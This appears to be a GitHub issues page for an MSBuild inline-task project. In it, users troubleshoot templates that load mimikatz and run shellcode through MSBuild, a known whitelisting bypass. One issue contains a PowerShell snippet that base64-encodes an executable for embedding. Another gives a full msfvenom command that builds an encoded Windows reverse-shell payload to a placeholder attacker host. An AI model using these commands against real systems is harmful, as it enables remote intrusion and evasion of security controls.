msbuild-inline-task's Issues

Can you please describe how you create the compressed exe?

The question is regarding the" executes mimikatz.xml" template.
I first base64 the executable I want to load, as follows.

"$fileName = "executable"
$fileContent = get-content $fileName
$fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent)
$fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes)
$fileContentEncoded | set-content ($fileName + ".b64")"

Then, I understand that I should gzip compress the base64 string above. (Am I correct?)

Finally, I copy paste the gzip compressed string but I always get " error MSB4018: System.IO.EndOfStreamException: Unable to read beyond the end of the stream.\r"

Can you please describe how you create the compressed exe?

executes shellcode.xml throwing System.AccessViolationException

Hi,

I am trying to get executes shellcode.xml to work on my system but I am running into System.AccessViolationException: Attempted to read or write protected memory. This is often an indication that other memory is corrupt. error

I have tried the command with the /p:GenerateBuildInfoConfigFile=false flag as well

The command that I am using to run msbuild is MSBuild.exe file.csproj /p:GenerateBuildInfoConfigFile=false

My shellcode is generated with the following msfvenom command --> msfvenom -p windows/shell_reverse_tcp -a x86 lhost=<mylhost> lport=<mylport> --format csharp --bad-chars '\x20\x0a\xff' -e x86/shikata_ga_nai -i 10 -v innocentcode -o file.csproj

EDIT:
Also tried it with executes x64 shellcode.xml and it gives me the same error message

Here is the addition of the msfvenom generated shellcode in executes x64 shellcode.xml
